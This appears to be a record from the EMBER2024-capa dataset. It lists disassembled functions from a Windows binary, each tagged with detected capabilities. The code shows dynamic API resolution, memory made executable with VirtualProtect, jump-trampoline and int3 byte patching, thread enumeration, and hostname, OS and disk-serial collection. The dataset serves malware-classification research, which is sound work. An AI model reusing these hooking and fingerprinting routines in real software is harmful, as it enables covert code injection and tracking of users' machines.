joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100186a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10081561
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x30], edx
mov ebx, ecx
mov eax, dword [0x100c2abc]
test eax, eax
jne 0x1001883d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x100b7288]
movaps xmm0, xmmword [0x100a6130]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0x15
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x1c40]
test al, 1
jne 0x1001875c
or eax, 1
mov dword [esi + 0x1c40], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x2491], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x2480], al
add ecx, 1
adc edx, 0
jne 0x10018748
cmp ecx, 0x11
jb 0x10018730
push 0x10092030
call fcn.1007ec26
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x2480]
mov ecx, edi
call fcn.10078360
mov eax, dword [esi + 0x2a68]
mov dword [ebp - 0x20], 0x5ed96c42
mov dword [ebp - 0x1c], 0x1f11ae37
mov dword [ebp - 0x18], 0x17fb4971
test al, 1
jne 0x100187dc
or eax, 1
mov dword [esi + 0x2a68], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x3e1c], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x3e10], al
add ecx, 1
adc edx, 0
jne 0x100187c8
cmp ecx, 0xc
jb 0x100187b0
push 0x10092080
call fcn.1007ec26
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x3e10]
mov ecx, esi
call fcn.100783c0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10018836
push 7
call fcn.1007eb7d
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10018838
xor eax, eax
mov dword [0x100c2abc], eax
push 0
push 0
push 3
push 0
push 0
push 0x50
push dword [ebp - 0x30]
mov dword [0x100bd8f0], eax
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret
Function at 0x10018870
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100815f1
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x38], edx
mov ebx, ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x100c2aa8]
test eax, eax
jne 0x10018a1d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x100b7288]
movaps xmm0, xmmword [0x100a5d80]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0x85
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x3b90]
test al, 1
jne 0x1001893c
or eax, 1
mov dword [esi + 0x3b90], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x2c75], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x2c64], al
add ecx, 1
adc edx, 0
jne 0x10018928
cmp ecx, 0x11
jb 0x10018910
push 0x100920d0
call fcn.1007ec26
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x2c64]
mov ecx, edi
call fcn.100782a0
mov eax, dword [esi + 0x62c]
mov dword [ebp - 0x20], 0x760382d2
mov dword [ebp - 0x1c], 0x23db8441
mov dword [ebp - 0x18], 0x3f21a7e1
test al, 1
jne 0x100189bc
or eax, 1
mov dword [esi + 0x62c], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x4f28], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x4f1c], al
add ecx, 1
adc edx, 0
jne 0x100189a8
cmp ecx, 0xc
jb 0x10018990
push 0x10092120
call fcn.1007ec26
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x4f1c]
mov ecx, esi
call fcn.10078300
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10018a16
push 7
call fcn.1007eb7d
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10018a18
xor eax, eax
mov dword [0x100c2aa8], eax
push 0
push 0x8404f700
push 0
push 0
push dword [ebp - 0x30]
mov dword [0x100bd3c0], eax
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret
Function at 0x10018a60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10081681
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], edx
mov ebx, ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x100c2b10]
test eax, eax
jne 0x10018bfd
mov eax, dword fs:[0x2c]
mov ecx, dword [0x100b7288]
movaps xmm0, xmmword [0x100a6250]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0x91
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x4a60]
test al, 1
jne 0x10018b1c
or eax, 1
mov dword [esi + 0x4a60], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x3c29], 1
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x3c18], al
add ecx, 1
adc edx, 0
jne 0x10018b08
cmp ecx, 0x11
jb 0x10018af0
push 0x10092170
call fcn.1007ec26
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x3c18]
mov ecx, edi
call fcn.100781e0
mov eax, dword [esi + 0xe40]
mov dword [ebp - 0x20], 0xfc476ac6
mov dword [ebp - 0x1c], 0x179b10d3
mov dword [ebp - 0x18], 0xb5654ff5
test al, 1
jne 0x10018b9c
or eax, 1
mov dword [esi + 0xe40], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x1200], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x11f4], al
add ecx, 1
adc edx, 0
jne 0x10018b88
cmp ecx, 0xc
jb 0x10018b70
push 0x100921c0
call fcn.1007ec26
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x11f4]
mov ecx, esi
call fcn.10078240
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10018bf6
push 7
call fcn.1007eb7d
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10018bf8
xor eax, eax
mov dword [0x100c2b10], eax
push dword [ebp + 0x10]
mov dword [0x100bcb80], eax
push dword [ebp - 0x30]
push dword [ebp + 8]
push dword [ebp - 0x34]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret
Function at 0x10018c30
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10081711
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], edx
mov ebx, ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x100c2ab4]
test eax, eax
jne 0x10018dcd
mov eax, dword fs:[0x2c]
mov ecx, dword [0x100b7288]
movaps xmm0, xmmword [0x100a6ba0]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0xb3
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x18b4]
test al, 1
jne 0x10018cec
or eax, 1
mov dword [esi + 0x18b4], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x3985], 1
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x3974], al
add ecx, 1
adc edx, 0
jne 0x10018cd8
cmp ecx, 0x11
jb 0x10018cc0
push 0x10092210
call fcn.1007ec26
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x3974]
mov ecx, edi
call fcn.10078120
mov eax, dword [esi + 0x3ba8]
mov dword [ebp - 0x20], 0x207726e4
mov dword [ebp - 0x1c], 0x9d09a209
mov dword [ebp - 0x18], 0x695503d7
test al, 1
jne 0x10018d6c
or eax, 1
mov dword [esi + 0x3ba8], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x2f18], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x2f0c], al
add ecx, 1
adc edx, 0
jne 0x10018d58
cmp ecx, 0xc
jb 0x10018d40
push 0x10092260
call fcn.1007ec26
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x2f0c]
mov ecx, esi
call fcn.10078180
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10018dc6
push 7
call fcn.1007eb7d
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10018dc8
xor eax, eax
mov dword [0x100c2ab4], eax
push dword [ebp - 0x30]
mov dword [0x100bbef0], eax
push 0x64
push dword [ebp - 0x34]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret
Function at 0x10018e00
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100817a1
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [0x100c2b24]
test eax, eax
jne 0x10018f9d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x100b7288]
movaps xmm0, xmmword [0x100a5ac0]
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0xabaecd85
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x754]
test al, 1
jne 0x10018ebc
or eax, 1
mov dword [esi + 0x754], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x3f04], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x3ef0], al
add ecx, 1
adc edx, 0
jne 0x10018ea8
cmp ecx, 0x14
jb 0x10018e90
push 0x100922b0
call fcn.1007ec26
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x3ef0]
mov ecx, edi
call fcn.10078060
mov eax, dword [esi + 0x2450]
mov dword [ebp - 0x1c], 0xe285e8b6
mov dword [ebp - 0x18], 0x73359a83
mov dword [ebp - 0x14], 0xaba7cd85
test al, 1
jne 0x10018f3c
or eax, 1
mov dword [esi + 0x2450], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x584], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x1c]
mov byte [ecx + esi + 0x578], al
add ecx, 1
adc edx, 0
jne 0x10018f28
cmp ecx, 0xc
jb 0x10018f10
push 0x10092300
call fcn.1007ec26
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x578]
mov ecx, esi
call fcn.100780c0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10018f96
push 7
call fcn.1007eb7d
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10018f98
xor eax, eax
mov dword [0x100c2b24], eax
push ebx
mov dword [0x100bda70], eax
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret
Function at 0x10018fd0
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push 0
mov edi, edx
mov dword [ebp - 0x30], ecx
push 4
mov dword [ebp - 0x2c], edi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
test ebx, ebx
jne 0x1001900c
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret
push esi
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x1c
xorps xmm0, xmm0
push eax
push ebx
movlpd qword [ebp - 0x24], xmm0
movlpd qword [ebp - 0x1c], xmm0
movlpd qword [ebp - 0x14], xmm0
call dword [sym.imp.KERNEL32.dll_Thread32First]
mov esi, eax
test esi, esi
je 0x10019114
nop dword [eax + eax]
cmp dword [ebp - 0x1c], edi
jne 0x1001912e
push dword [ebp - 0x20]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
mov dword [ebp - 0x34], edi
test edi, edi
je 0x10019109
push str.NtQueryInformationThread
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x100190d0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0
push 0x40
lea ecx, [ebp - 0xc]
push ecx
push eax
push edi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x100190ac
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x100190d0
push 0
push 4
lea eax, [ebp - 8]
push eax
push 9
push dword [ebp - 0xc]
call esi
push dword [ebp - 0xc]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
xor ecx, ecx
test esi, esi
cmovne eax, ecx
cmp eax, dword [ebp - 0x30]
jne 0x100190fc
mov eax, dword [0x100c0f88]
cmp eax, dword [0x100c0f8c]
je 0x100190ed
mov dword [eax], edi
add dword [0x100c0f88], 4
jmp 0x100190fc
lea ecx, [ebp - 0x34]
push ecx
push eax
mov ecx, 0x100c0f84
call fcn.1007cbe0
lea eax, [ebp - 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32Next]
mov esi, eax
mov edi, dword [ebp - 0x2c]
test esi, esi
jne 0x10019040
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov al, 1
pop esi
pop edi
xor ecx, ebp
pop ebx
call fcn.1007e249
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32Next]
mov esi, eax
jmp 0x1001910c
Function at 0x100248c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x100bff7c], 0
push esi
push edi
jle 0x1002492a
mov ecx, dword [0x100bc74c]
mov eax, dword [0x100b82b8]
add eax, 0x1c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
cmp dword [eax], 0
je 0x1002492a
mov ecx, dword [0x100bc74c]
mov eax, dword [0x100b82b8]
add eax, 0x15c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002496a
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0xcc
jmp 0x1002495e
mov ecx, dword [0x100bc74c]
mov eax, dword [0x100b82b8]
add eax, 0x15c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002496a
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0x68
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1007e249
mov esp, ebp
pop ebp
ret
Function at 0x10025470
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x100bc74c]
mov eax, dword [0x100b82b8]
push esi
push edi
mov edx, dword [ecx]
add eax, 0x1c
push eax
call dword [edx + 4]
mov ecx, dword [0x100bc74c]
cmp dword [eax], 0
mov edx, dword [ecx]
mov eax, dword [0x100b82b8]
je 0x100254da
add eax, 0x168
cmp dword [0x100bd3b8], 0
push eax
je 0x100254e0
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002550d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0xcc
jmp 0x10025501
add eax, 0x168
push eax
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002550d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0x6a
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1007e249
mov esp, ebp
pop ebp
ret

Function at 0x10025bf0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x100c0824], 0
jne 0x10025c53
mov edx, 0x54
xor eax, eax
mov cl, byte [eax + 0x100a4df4]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x18], cl
and edx, 0x800000ff
jns 0x10025c23
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0x15
jl 0x10025c06
lea eax, [ebp - 0x18]
mov byte [ebp - 3], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add eax, 0xcdda
mov dword [0x100c0824], 1
mov dword [0x100bdf28], eax
add eax, 0x18
mov dword [0x100bce50], eax
mov esp, ebp
pop ebp
ret
Function at 0x1002b740
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x100bc74c]
push ebx
push esi
push edi
mov eax, dword [ecx]
push 0x100bd3ac
call dword [eax + 4]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, fcn.1000b3a0
mov eax, dword [eax]
mov dword [0x100bcd50], eax
lea edi, [eax + 0x3c]
cmp edi, 0x1000
jbe 0x1002b7aa
cmp ebx, 0x1000
jbe 0x1002b7aa
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.1000b3a0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100bcd50]
lea edi, [eax + 0x40]
cmp edi, 0x1000
jbe 0x1002b7df
cmp ebx, 0x1000
jbe 0x1002b7df
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.1000b3a0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100bcd50]
lea edi, [eax + 0x44]
cmp edi, 0x1000
jbe 0x1002b814
cmp ebx, 0x1000
jbe 0x1002b814
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.1000b3a0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100bcd50]
lea edi, [eax + 0x48]
cmp edi, 0x1000
jbe 0x1002b849
cmp ebx, 0x1000
jbe 0x1002b849
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.1000b3a0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100bcd50]
lea edi, [eax + 0x4c]
cmp edi, 0x1000
jbe 0x1002b87e
cmp ebx, 0x1000
jbe 0x1002b87e
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.1000b3a0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100bcd50]
lea edi, [eax + 0x50]
cmp edi, 0x1000
jbe 0x1002b8b3
cmp ebx, 0x1000
jbe 0x1002b8b3
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.1000b3a0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100bcd50]
lea edi, [eax + 0x54]
cmp edi, 0x1000
jbe 0x1002b8e8
cmp ebx, 0x1000
jbe 0x1002b8e8
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.1000b3a0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100bcd50]
lea edi, [eax + 0x58]
cmp edi, 0x1000
jbe 0x1002b91d
cmp ebx, 0x1000
jbe 0x1002b91d
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.1000b3a0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100bcd50]
cmp dword [0x100bcb74], 0
jne 0x1002b966
lea edi, [eax + 0x34]
cmp edi, 0x1000
jbe 0x1002b95e
mov eax, 0x1002a250
cmp eax, 0x1000
jbe 0x1002b95e
mov ebx, dword [edi]
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], 0x1002a250
push eax
push dword [ebp - 8]
push 4
push edi
call esi
jmp 0x1002b960
xor ebx, ebx
mov dword [0x100bcb74], ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1007e249
mov esp, ebp
pop ebp
ret
Function at 0x1002cb50
Capabilities:
Get hostname

Disassembly:
push 0x100b5468
push 0x100bd8bc
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.1002ca60
cmp eax, 1
jne 0x1002cb7c
push str.Win_XP
push 0x100b8670
call fcn.10008c40
add esp, 8
call fcn.1002ca60
cmp eax, 2
jne 0x1002cb98
push str.Win_Vista
push 0x100b8670
call fcn.10008c40
add esp, 8
call fcn.1002ca60
cmp eax, 3
jne 0x1002cbb4
push str.Win_7
push 0x100b8670
call fcn.10008c40
add esp, 8
call fcn.1002ca60
cmp eax, 4
jne 0x1002cbd0
push str.Win_8
push 0x100b8670
call fcn.10008c40
add esp, 8
call fcn.1002ca60
cmp eax, 5
jne 0x1002cbec
push str.Wi_10
push 0x100b8670
call fcn.10008c40
add esp, 8
ret
Function at 0x1002fda0
Capabilities:
Get disk information

Disassembly:
push esi
push 0x64
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov esi, eax
push 0xff
push 0x100bcbc8
push 0x100bc728
push 0x100b83e8
push 0x100bc0ac
push 0xff
push 0x100c0ac8
push 0x100a5034
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0x100bc0ac]
mov eax, ecx
shl eax, 5
add eax, ecx
push eax
imul eax, ecx, 0x19
push eax
push str._2x_2x
push esi
call fcn.10008c40
add esp, 0x10
mov eax, esi
pop esi
ret